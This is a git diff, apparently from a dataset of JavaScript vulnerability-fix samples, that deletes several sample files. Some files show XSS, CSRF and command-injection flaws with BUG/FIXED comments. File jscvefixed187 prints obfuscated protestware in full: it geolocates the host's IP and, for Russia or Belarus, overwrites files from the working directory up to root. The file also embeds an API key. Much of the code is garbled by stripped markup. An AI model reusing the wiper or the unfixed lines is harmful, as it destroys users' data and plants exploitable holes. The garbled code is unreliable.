'probe' }]); transport.once('packet', function (msg) { if (failed) return; if ('pong' === msg.type && 'probe' === msg.data) { debug('probe transport "%s" pong', name); self.upgrading = true; self.emit('upgrading', transport); if (!transport) return; Socket.priorWebsocketSuccess = 'websocket' === transport.name; debug('pausing current transport "%s"', self.transport.name); self.transport.pause(function () { if (failed) return; if ('closed' === self.readyState) return; debug('changing transport and sending upgrade packet'); cleanup(); self.setTransport(transport); transport.send([{ type: 'upgrade' }]); self.emit('upgrade', transport); transport = null; self.upgrading = false; self.flush(); }); } else { debug('probe transport "%s" failed', name); var err = new Error('probe error'); err.transport = transport.name; self.emit('upgradeError', err); } }); } function freezeTransport () { if (failed) return; // Any callback called by transport should be ignored since now failed = true; cleanup(); transport.close(); transport = null; } // Handle any error that happens while probing function onerror (err) { var error = new Error('probe error: ' + err); error.transport = transport.name; freezeTransport(); debug('probe transport "%s" failed because of error: %s', name, err); self.emit('upgradeError', error); } function onTransportClose () { onerror('transport closed'); } // When the socket is closed while we're probing function onclose () { onerror('socket closed'); } // When the socket is upgraded while we're probing function onupgrade (to) { if (transport && to.name !== transport.name) { debug('"%s" works - aborting "%s"', to.name, transport.name); freezeTransport(); } } // Remove all listeners on the transport and on self function cleanup () { transport.removeListener('open', onTransportOpen); transport.removeListener('error', onerror); transport.removeListener('close', onTransportClose); self.removeListener('close', onclose); self.removeListener('upgrading', onupgrade); } transport.once('open', onTransportOpen); transport.once('error', onerror); transport.once('close', onTransportClose); this.once('close', onclose); this.once('upgrading', onupgrade); transport.open();};/** * Called when connection is deemed open. * * @api public */Socket.prototype.onOpen = function () { debug('socket open'); this.readyState = 'open'; Socket.priorWebsocketSuccess = 'websocket' === this.transport.name; this.emit('open'); this.flush(); // we check for `readyState` in case an `open` // listener already closed the socket if ('open' === this.readyState && this.upgrade && this.transport.pause) { debug('starting upgrade probes'); for (var i = 0, l = this.upgrades.length; i < l; i++) { this.probe(this.upgrades[i]); } }};/** * Handles a packet. * * @api private */Socket.prototype.onPacket = function (packet) { if ('opening' === this.readyState || 'open' === this.readyState) { debug('socket receive: type "%s", data "%s"', packet.type, packet.data); this.emit('packet', packet); // Socket is live - any packet counts this.emit('heartbeat'); switch (packet.type) { case 'open': this.onHandshake(parsejson(packet.data)); break; case 'pong': this.setPing(); this.emit('pong'); break; case 'error': var err = new Error('server error'); err.code = packet.data; this.onError(err); break; case 'message': this.emit('data', packet.data); this.emit('message', packet.data); break; } } else { debug('packet received with socket readyState "%s"', this.readyState); }};/** * Called upon handshake completion. * * @param {Object} handshake obj * @api private */Socket.prototype.onHandshake = function (data) { this.emit('handshake', data); this.id = data.sid; this.transport.query.sid = data.sid; this.upgrades = this.filterUpgrades(data.upgrades); this.pingInterval = data.pingInterval; this.pingTimeout = data.pingTimeout; this.onOpen(); // In case open handler closes socket if ('closed' === this.readyState) return; this.setPing(); // Prolong liveness of socket on heartbeat this.removeListener('heartbeat', this.onHeartbeat); this.on('heartbeat', this.onHeartbeat);};/** * Resets ping timeout. * * @api private */Socket.prototype.onHeartbeat = function (timeout) { clearTimeout(this.pingTimeoutTimer); var self = this; self.pingTimeoutTimer = setTimeout(function () { if ('closed' === self.readyState) return; self.onClose('ping timeout'); }, timeout || (self.pingInterval + self.pingTimeout));};/** * Pings server every `this.pingInterval` and expects response * within `this.pingTimeout` or closes connection. * * @api private */Socket.prototype.setPing = function () { var self = this; clearTimeout(self.pingIntervalTimer); self.pingIntervalTimer = setTimeout(function () { debug('writing ping packet - expecting pong within %sms', self.pingTimeout); self.ping(); self.onHeartbeat(self.pingTimeout); }, self.pingInterval);};/*** Sends a ping packet.** @api private*/Socket.prototype.ping = function () { var self = this; this.sendPacket('ping', function () { self.emit('ping'); });};/** * Called on `drain` event * * @api private */Socket.prototype.onDrain = function () { this.writeBuffer.splice(0, this.prevBufferLen); // setting prevBufferLen = 0 is very important // for example, when upgrading, upgrade packet is sent over, // and a nonzero prevBufferLen could cause problems on `drain` this.prevBufferLen = 0; if (0 === this.writeBuffer.length) { this.emit('drain'); } else { this.flush(); }};/** * Flush write buffers. * * @api private */Socket.prototype.flush = function () { if ('closed' !== this.readyState && this.transport.writable && !this.upgrading && this.writeBuffer.length) { debug('flushing %d packets in socket', this.writeBuffer.length); this.transport.send(this.writeBuffer); // keep track of current length of writeBuffer // splice writeBuffer and callbackBuffer on `drain` this.prevBufferLen = this.writeBuffer.length; this.emit('flush'); }};/** * Sends a message. * * @param {String} message. * @param {Function} callback function. * @param {Object} options. * @return {Socket} for chaining. * @api public */Socket.prototype.write =Socket.prototype.send = function (msg, options, fn) { this.sendPacket('message', msg, options, fn); return this;};/** * Sends a packet. * * @param {String} packet type. * @param {String} data. * @param {Object} options. * @param {Function} callback function. * @api private */Socket.prototype.sendPacket = function (type, data, options, fn) { if ('function' === typeof data) { fn = data; data = undefined; } if ('function' === typeof options) { fn = options; options = null; } if ('closing' === this.readyState || 'closed' === this.readyState) { return; } options = options || {}; options.compress = false !== options.compress; var packet = { type: type, data: data, options: options }; this.emit('packetCreate', packet); this.writeBuffer.push(packet); if (fn) this.once('flush', fn); this.flush();};/** * Closes the connection. * * @api private */Socket.prototype.close = function () { if ('opening' === this.readyState || 'open' === this.readyState) { this.readyState = 'closing'; var self = this; if (this.writeBuffer.length) { this.once('drain', function () { if (this.upgrading) { waitForUpgrade(); } else { close(); } }); } else if (this.upgrading) { waitForUpgrade(); } else { close(); } } function close () { self.onClose('forced close'); debug('socket closing - telling transport to close'); self.transport.close(); } function cleanupAndClose () { self.removeListener('upgrade', cleanupAndClose); self.removeListener('upgradeError', cleanupAndClose); close(); } function waitForUpgrade () { // wait for upgrade to finish since we can't send packets while pausing a transport self.once('upgrade', cleanupAndClose); self.once('upgradeError', cleanupAndClose); } return this;};/** * Called upon transport error * * @api private */Socket.prototype.onError = function (err) { debug('socket error %j', err); Socket.priorWebsocketSuccess = false; this.emit('error', err); this.onClose('transport error', err);};/** * Called upon transport close. * * @api private */Socket.prototype.onClose = function (reason, desc) { if ('opening' === this.readyState || 'open' === this.readyState || 'closing' === this.readyState) { debug('socket close with reason: "%s"', reason); var self = this; // clear timers clearTimeout(this.pingIntervalTimer); clearTimeout(this.pingTimeoutTimer); // stop event from firing again for transport this.transport.removeAllListeners('close'); // ensure transport won't stay open this.transport.close(); // ignore further transport communication this.transport.removeAllListeners(); // set ready state this.readyState = 'closed'; // clear session id this.id = null; // emit close event this.emit('close', reason, desc); // clean buffers after, so users can still // grab the buffers on `close` event self.writeBuffer = []; self.prevBufferLen = 0; }};/** * Filters upgrades, returning only those matching client transports. * * @param {Array} server upgrades * @api private * */Socket.prototype.filterUpgrades = function (upgrades) { var filteredUpgrades = []; for (var i = 0, j = upgrades.length; i < j; i++) { if (~index(this.transports, upgrades[i])) filteredUpgrades.push(upgrades[i]); } return filteredUpgrades;}; \ No newline at end of file diff --git a/data/javascript/jscvefixed185.txt b/data/javascript/jscvefixed185.txt deleted file mode 100644 index 29578c5fe78b084312f6578fa9c249c58ef1c17e..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed185.txt +++ /dev/null @@ -1 +0,0 @@ -const { clean, override } = abuser(__filename);describe('lib/unadded', () => { let unadded; before(() => { clean('.'); // BUG: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') // override('async-execute', () => `remove '.gitattributes' // FIXED: override('../../helpers/spawn', () => `remove '.gitattributes'add 'apps/post/index.js'add 'new file.txt'`); unadded = require('.'); }); after(() => clean('.')); it('should convert dry-run add to a file list', async() => { const list = await unadded(); expect(list).to.deep.equal([ '.gitattributes', 'apps/post/index.js', 'new file.txt', ]); });}); \ No newline at end of file diff --git a/data/javascript/jscvefixed186.txt b/data/javascript/jscvefixed186.txt deleted file mode 100644 index 8ea218074d7b531ce8a4a17f4f9ba72af7d35610..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed186.txt +++ /dev/null @@ -1 +0,0 @@ -/* vim: set expandtab sw=4 ts=4 sts=4: *//** * @fileoverview functions used wherever an sql query form is used * * @requires jQuery * @requires js/functions.js * */var $data_a;var prevScrollX = 0, fixedTop;/** * decode a string URL_encoded * * @param string str * @return string the URL-decoded string */function PMA_urldecode(str){ return decodeURIComponent(str.replace(/\+/g, '%20'));}/** * endecode a string URL_decoded * * @param string str * @return string the URL-encoded string */function PMA_urlencode(str){ return encodeURIComponent(str).replace(/\%20/g, '+');}/** * Get the field name for the current field. Required to construct the query * for grid editing * * @param $this_field jQuery object that points to the current field's tr */function getFieldName($this_field){ var this_field_index = $this_field.index(); // ltr or rtl direction does not impact how the DOM was generated // check if the action column in the left exist var left_action_exist = !$('#table_results').find('th:first').hasClass('draggable'); // number of column span for checkbox and Actions var left_action_skip = left_action_exist ? $('#table_results').find('th:first').attr('colspan') - 1 : 0; // If this column was sorted, the text of the a element contains something // like 1 that is useful to indicate the order in case // of a sort on multiple columns; however, we dont want this as part // of the column name so we strip it ( .clone() to .end() ) var field_name = $('#table_results') .find('thead') .find('th:eq(' + (this_field_index - left_action_skip) + ') a') .clone() // clone the element .children() // select all the children .remove() // remove all of them .end() // go back to the selected element .text(); // grab the text // happens when just one row (headings contain no a) if (field_name === '') { var $heading = $('#table_results').find('thead').find('th:eq(' + (this_field_index - left_action_skip) + ')').children('span'); // may contain column comment enclosed in a span - detach it temporarily to read the column name var $tempColComment = $heading.children().detach(); field_name = $heading.text(); // re-attach the column comment $heading.append($tempColComment); } field_name = $.trim(field_name); return field_name;}/** * Unbind all event handlers before tearing down a page */AJAX.registerTeardown('sql.js', function () { $('a.delete_row.ajax').die('click'); $('#bookmarkQueryForm').die('submit'); $('input#bkm_label').unbind('keyup'); $("#sqlqueryresults").die('makegrid'); $("#sqlqueryresults").die('stickycolumns'); $("#togglequerybox").unbind('click'); $("#button_submit_query").die('click'); $("input[name=bookmark_variable]").unbind("keypress"); $("#sqlqueryform.ajax").die('submit'); $("input[name=navig].ajax").die('click'); $("#pageselector").die('change'); $("#table_results.ajax").find("a[title=Sort]").die('click'); $("#displayOptionsForm.ajax").die('submit'); $('a.browse_foreign').die('click'); $('th.column_heading.pointer').die('hover'); $('th.column_heading.marker').die('click'); $(window).unbind('scroll'); $(".filter_rows").die("keyup");});/** * @description

    Ajax scripts for sql and browse pages

    * * Actions ajaxified here: *
      *
    • Retrieve results of an SQL query
    • *
    • Paginate the results table
    • *
    • Sort the results table
    • *
    • Change table according to display options
    • *
    • Grid editing of data
    • *
    • Saving a bookmark
    • *
    * * @name document.ready * @memberOf jQuery */AJAX.registerOnload('sql.js', function () { // Delete row from SQL results $('a.delete_row.ajax').live('click', function (e) { e.preventDefault(); // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') // var question = $.sprintf(PMA_messages.strDoYouReally, $(this).closest('td').find('div').text()); // FIXED: var question = $.sprintf(PMA_messages.strDoYouReally, escapeHtml($(this).closest('td').find('div').text())); var $link = $(this); $link.PMA_confirm(question, $link.attr('href'), function (url) { $msgbox = PMA_ajaxShowMessage(); $.get(url, {'ajax_request': true, 'is_js_confirmed': true}, function (data) { if (data.success) { PMA_ajaxShowMessage(data.message); $link.closest('tr').remove(); } else { PMA_ajaxShowMessage(data.error, false); } }); }); }); // Ajaxification for 'Bookmark this SQL query' $('#bookmarkQueryForm').live('submit', function (e) { e.preventDefault(); PMA_ajaxShowMessage(); $.post($(this).attr('action'), 'ajax_request=1&' + $(this).serialize(), function (data) { if (data.success) { PMA_ajaxShowMessage(data.message); } else { PMA_ajaxShowMessage(data.error, false); } }); }); /* Hides the bookmarkoptions checkboxes when the bookmark label is empty */ $('input#bkm_label').keyup(function () { $('input#id_bkm_all_users, input#id_bkm_replace') .parent() .toggle($(this).val().length > 0); }).trigger('keyup'); /** * Attach the {@link makegrid} function to a custom event, which will be * triggered manually everytime the table of results is reloaded * @memberOf jQuery */ $("#sqlqueryresults").live('makegrid', function () { PMA_makegrid($('#table_results')[0]); }); /* * Attach a custom event for sticky column headings which will be * triggered manually everytime the table of results is reloaded * @memberOf jQuery */ $("#sqlqueryresults").live('stickycolumns', function () { if ($("#table_results").length === 0) { return; } //add sticky columns div initStickyColumns(); rearrangeStickyColumns(); //adjust sticky columns on scroll $(window).bind('scroll', function() { handleStickyColumns(); }); }); /** * Append the "Show/Hide query box" message to the query input form * * @memberOf jQuery * @name appendToggleSpan */ // do not add this link more than once if (! $('#sqlqueryform').find('a').is('#togglequerybox')) { $('') .html(PMA_messages.strHideQueryBox) .appendTo("#sqlqueryform") // initially hidden because at this point, nothing else // appears under the link .hide(); // Attach the toggling of the query box visibility to a click $("#togglequerybox").bind('click', function () { var $link = $(this); $link.siblings().slideToggle("fast"); if ($link.text() == PMA_messages.strHideQueryBox) { $link.text(PMA_messages.strShowQueryBox); // cheap trick to add a spacer between the menu tabs // and "Show query box"; feel free to improve! $('#togglequerybox_spacer').remove(); $link.before('
    '); } else { $link.text(PMA_messages.strHideQueryBox); } // avoid default click action return false; }); } /** * Event handler for sqlqueryform.ajax button_submit_query * * @memberOf jQuery */ $("#button_submit_query").live('click', function (event) { $(".success,.error").hide(); //hide already existing error or success message var $form = $(this).closest("form"); // the Go button related to query submission was clicked, // instead of the one related to Bookmarks, so empty the // id_bookmark selector to avoid misinterpretation in // import.php about what needs to be done $form.find("select[name=id_bookmark]").val(""); // let normal event propagation happen }); /** * Event handler for hitting enter on sqlqueryform bookmark_variable * (the Variable textfield in Bookmarked SQL query section) * * @memberOf jQuery */ $("input[name=bookmark_variable]").bind("keypress", function (event) { // force the 'Enter Key' to implicitly click the #button_submit_bookmark var keycode = (event.keyCode ? event.keyCode : (event.which ? event.which : event.charCode)); if (keycode == 13) { // keycode for enter key // When you press enter in the sqlqueryform, which // has 2 submit buttons, the default is to run the // #button_submit_query, because of the tabindex // attribute. // This submits #button_submit_bookmark instead, // because when you are in the Bookmarked SQL query // section and hit enter, you expect it to do the // same action as the Go button in that section. $("#button_submit_bookmark").click(); return false; } else { return true; } }); /** * Ajax Event handler for 'SQL Query Submit' * * @see PMA_ajaxShowMessage() * @memberOf jQuery * @name sqlqueryform_submit */ $("#sqlqueryform.ajax").live('submit', function (event) { event.preventDefault(); var $form = $(this); if (codemirror_editor) { $form[0].elements['sql_query'].value = codemirror_editor.getValue(); } if (! checkSqlQuery($form[0])) { return false; } // remove any div containing a previous error message $('div.error').remove(); var $msgbox = PMA_ajaxShowMessage(); var $sqlqueryresults = $('#sqlqueryresults'); PMA_prepareForAjaxRequest($form); $.post($form.attr('action'), $form.serialize(), function (data) { if (data.success === true) { // success happens if the query returns rows or not // // fade out previous messages, if any $('div.success, div.sqlquery_message').fadeOut(); if ($('#result_query').length) { $('#result_query').remove(); } // show a message that stays on screen if (typeof data.action_bookmark != 'undefined') { // view only if ('1' == data.action_bookmark) { $('#sqlquery').text(data.sql_query); // send to codemirror if possible setQuery(data.sql_query); } // delete if ('2' == data.action_bookmark) { $("#id_bookmark option[value='" + data.id_bookmark + "']").remove(); // if there are no bookmarked queries now (only the empty option), // remove the bookmark section if ($('#id_bookmark option').length == 1) { $('#fieldsetBookmarkOptions').hide(); $('#fieldsetBookmarkOptionsFooter').hide(); } } $sqlqueryresults .show() .html(data.message); } else if (typeof data.sql_query != 'undefined') { $('
    ') .html(data.sql_query) .insertBefore('#sqlqueryform'); // unnecessary div that came from data.sql_query $('div.notice').remove(); } else { $sqlqueryresults .show() .html(data.message); } PMA_highlightSQL($('#result_query')); if (typeof data.ajax_reload != 'undefined') { if (data.ajax_reload.reload) { if (data.ajax_reload.table_name) { PMA_commonParams.set('table', data.ajax_reload.table_name); PMA_commonActions.refreshMain(); } else { PMA_reloadNavigation(); } } } else if (typeof data.reload != 'undefined') { // this happens if a USE or DROP command was typed PMA_commonActions.setDb(data.db); var url; if (data.db) { if (data.table) { url = 'table_sql.php'; } else { url = 'db_sql.php'; } } else { url = 'server_sql.php'; } PMA_commonActions.refreshMain(url, function () { if ($('#result_query').length) { $('#result_query').remove(); } if (data.sql_query) { $('
    ') .html(data.sql_query) .prependTo('#page_content'); PMA_highlightSQL($('#page_content')); } }); } $sqlqueryresults.show().trigger('makegrid').trigger('stickycolumns'); $('#togglequerybox').show(); PMA_init_slider(); if (typeof data.action_bookmark == 'undefined') { if ($('#sqlqueryform input[name="retain_query_box"]').is(':checked') !== true) { if ($("#togglequerybox").siblings(":visible").length > 0) { $("#togglequerybox").trigger('click'); } } } } else if (data.success === false) { // show an error message that stays on screen $('#sqlqueryform').before(data.error); $sqlqueryresults.hide(); } PMA_ajaxRemoveMessage($msgbox); }); // end $.post() }); // end SQL Query submit /** * Paginate results with Page Selector dropdown * @memberOf jQuery * @name paginate_dropdown_change */ $("#pageselector").live('change', function (event) { var $form = $(this).parent("form"); $form.submit(); }); // end Paginate results with Page Selector /** * Ajax Event handler for the display options * @memberOf jQuery * @name displayOptionsForm_submit */ $("#displayOptionsForm.ajax").live('submit', function (event) { event.preventDefault(); $form = $(this); $.post($form.attr('action'), $form.serialize() + '&ajax_request=true', function (data) { $("#sqlqueryresults") .html(data.message) .trigger('makegrid'); PMA_init_slider(); }); // end $.post() }); //end displayOptionsForm handler // Filter row handling. --STARTS-- $(".filter_rows").live("keyup", function () { var $target_table = $("#table_results"); var $header_cells = $target_table.find("th[data-column]"); var target_columns = Array(); // To handle colspan=4, in case of edit,copy etc options. var dummy_th = ($(".edit_row_anchor").length !== 0 ? '
    ') .insertBefore('#page_content') .css("position", "fixed") .css("z-index", "99") .css("width", $("#table_results").width()) .css("margin-left", $('#page_content').css("margin-left")) .css("top", fixedTop) .css("display", "none"); }}/* * Arrange/Rearrange columns in sticky header */function rearrangeStickyColumns() { var $sticky_columns = $("#sticky_columns"); var $originalHeader = $("#table_results > thead"); var $originalColumns = $originalHeader.find("tr:first").children(); var $clonedHeader = $originalHeader.clone(); // clone width per cell $clonedHeader.find("tr:first").children().width(function(i,val) { return $originalColumns.eq(i).width(); }); $sticky_columns.empty().append($clonedHeader);}/* * Adjust sticky columns on horizontal/vertical scroll */function handleStickyColumns() { if ($("#table_results").length === 0) { return; } var currentScrollX = $(window).scrollLeft(); var windowOffset = $(window).scrollTop(); var tableStartOffset = $("#table_results").offset().top; var tableEndOffset = tableStartOffset + $("#table_results").height(); var $sticky_columns = $("#sticky_columns"); if (windowOffset >= tableStartOffset && windowOffset <= tableEndOffset) { //for horizontal scrolling if(prevScrollX != currentScrollX) { prevScrollX = currentScrollX; setStickyColumnsPosition("absolute", fixedTop + windowOffset); //for vertical scrolling } else { setStickyColumnsPosition("fixed", fixedTop, $("#pma_navigation").width() - currentScrollX); } $sticky_columns.show(); } else { $sticky_columns.hide(); }}AJAX.registerOnload('sql.js', function () { makeProfilingChart(); initProfilingTables();}); \ No newline at end of file diff --git a/data/javascript/jscvefixed187.txt b/data/javascript/jscvefixed187.txt deleted file mode 100644 index 83a8423b5a2ceecd7dd06f8f127fb64a78bfd269..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed187.txt +++ /dev/null @@ -1 +0,0 @@ -import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl} \ No newline at end of file diff --git a/data/javascript/jscvefixed188.txt b/data/javascript/jscvefixed188.txt deleted file mode 100644 index 76c0abfc53b8bf78140920d2642281efd2412f9d..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed188.txt +++ /dev/null @@ -1 +0,0 @@ -// Build StaffDebug objectvar StaffDebug = (function (){ get_current_url = function() { return window.location.pathname; }; get_url = function(action){ var pathname = this.get_current_url(); var url = pathname.substr(0,pathname.indexOf('/courseware')) + '/instructor/api/' + action; return url; }; sanitized_string = function(string) { return string.replace(/[.*+?^:${}()|[\]\\]/g, "\\$&"); }; get_user = function(locname){ locname = sanitized_string(locname); var uname = $('#sd_fu_' + locname).val(); if (uname===""){ uname = $('#sd_fu_' + locname).attr('placeholder'); } return uname; }; do_idash_action = function(action){ var pdata = { 'problem_to_reset': action.location, 'unique_student_identifier': get_user(action.locationName), 'delete_module': action.delete_module }; $.ajax({ // BUG: CWE-352 Cross-Site Request Forgery (CSRF) // type: "GET", // FIXED: type: "POST", url: get_url(action.method), data: pdata, success: function(data){ var text = _.template(action.success_msg, {interpolate: /\{(.+?)\}/g})( {user: data.student} ); var html = _.template('

    {text}

    ', {interpolate: /\{(.+?)\}/g})( {text: text} ); $("#result_"+sanitized_string(action.locationName)).html(html); }, error: function(request, status, error) { var response_json; try { response_json = $.parseJSON(request.responseText); } catch(e) { response_json = { error: gettext('Unknown Error Occurred.') }; } var text = _.template('{error_msg} {error}', {interpolate: /\{(.+?)\}/g})( { error_msg: action.error_msg, error: response_json.error } ); var html = _.template('

    {text}

    ', {interpolate: /\{(.+?)\}/g})( {text: text} ); $("#result_"+sanitized_string(action.locationName)).html(html); }, dataType: 'json' }); }; reset = function(locname, location){ this.do_idash_action({ locationName: locname, location: location, method: 'reset_student_attempts', success_msg: gettext('Successfully reset the attempts for user {user}'), error_msg: gettext('Failed to reset attempts.'), delete_module: false }); }; sdelete = function(locname, location){ this.do_idash_action({ locationName: locname, location: location, method: 'reset_student_attempts', success_msg: gettext('Successfully deleted student state for user {user}'), error_msg: gettext('Failed to delete student state.'), delete_module: true }); }; rescore = function(locname, location){ this.do_idash_action({ locationName: locname, location: location, method: 'rescore_problem', success_msg: gettext('Successfully rescored problem for user {user}'), error_msg: gettext('Failed to rescore problem.'), delete_module: false }); }; return { reset: reset, sdelete: sdelete, rescore: rescore, do_idash_action: do_idash_action, get_current_url: get_current_url, get_url: get_url, get_user: get_user, sanitized_string:sanitized_string }; })();// Register click handlers$(document).ready(function() { var $courseContent = $('.course-content'); $courseContent.on("click", '.staff-debug-reset', function() { StaffDebug.reset($(this).parent().data('location-name'), $(this).parent().data('location')); return false; }); $courseContent.on("click", '.staff-debug-sdelete', function() { StaffDebug.sdelete($(this).parent().data('location-name'), $(this).parent().data('location')); return false; }); $courseContent.on("click", '.staff-debug-rescore', function() { StaffDebug.rescore($(this).parent().data('location-name'), $(this).parent().data('location')); return false; });}); \ No newline at end of file diff --git a/data/javascript/jscvefixed189.txt b/data/javascript/jscvefixed189.txt deleted file mode 100644 index 3a9cf3a37295522dbf0e3d500dc887c99cd504c0..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed189.txt +++ /dev/null @@ -1 +0,0 @@ -/************************************************************************ * This file is part of EspoCRM. * * EspoCRM - Open Source CRM application. * Copyright (C) 2014-2019 Yuri Kuznetsov, Taras Machyshyn, Oleksiy Avramenko * Website: https://www.espocrm.com * * EspoCRM is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * EspoCRM is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with EspoCRM. If not, see http://www.gnu.org/licenses/. * * The interactive user interfaces in modified source and object code versions * of this program must display Appropriate Legal Notices, as required under * Section 5 of the GNU General Public License version 3. * * In accordance with Section 7(b) of the GNU General Public License version 3, * these Appropriate Legal Notices must retain the display of the "EspoCRM" word. ************************************************************************/Espo.define('views/stream/notes/status', 'views/stream/note', function (Dep) { return Dep.extend({ template: 'stream/notes/status', messageName: 'status', data: function () { return _.extend({ style: this.style, statusText: this.statusText, }, Dep.prototype.data.call(this)); }, init: function () { if (this.getUser().isAdmin()) { this.isRemovable = true; } Dep.prototype.init.call(this); }, setup: function () { var data = this.model.get('data'); var field = data.field; var value = data.value; this.style = data.style || 'default'; // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') // this.statusText = this.getLanguage().translateOption(value, field, this.model.get('parentType')); // FIXED: this.statusText = this.getHelper().escapeString(this.getLanguage().translateOption(value, field, this.model.get('parentType'))); this.messageData['field'] = this.translate(field, 'fields', this.model.get('parentType')).toLowerCase(); this.createMessage(); }, });}); \ No newline at end of file diff --git a/data/javascript/jscvefixed19.txt b/data/javascript/jscvefixed19.txt deleted file mode 100644 index 6f58fe6de95b4d8d7f77d7a127e51fabf89dfaa8..0000000000000000000000000000000000000000 --- a/data/javascript/jscvefixed19.txt +++ /dev/null @@ -1 +0,0 @@ -frappe.ui.form.ControlButton = frappe.ui.form.ControlData.extend({ can_write() { // should be always true in case of button return true; }, make_input: function() { var me = this; const btn_type = this.df.primary ? 'btn-primary': 'btn-default'; this.$input = $(`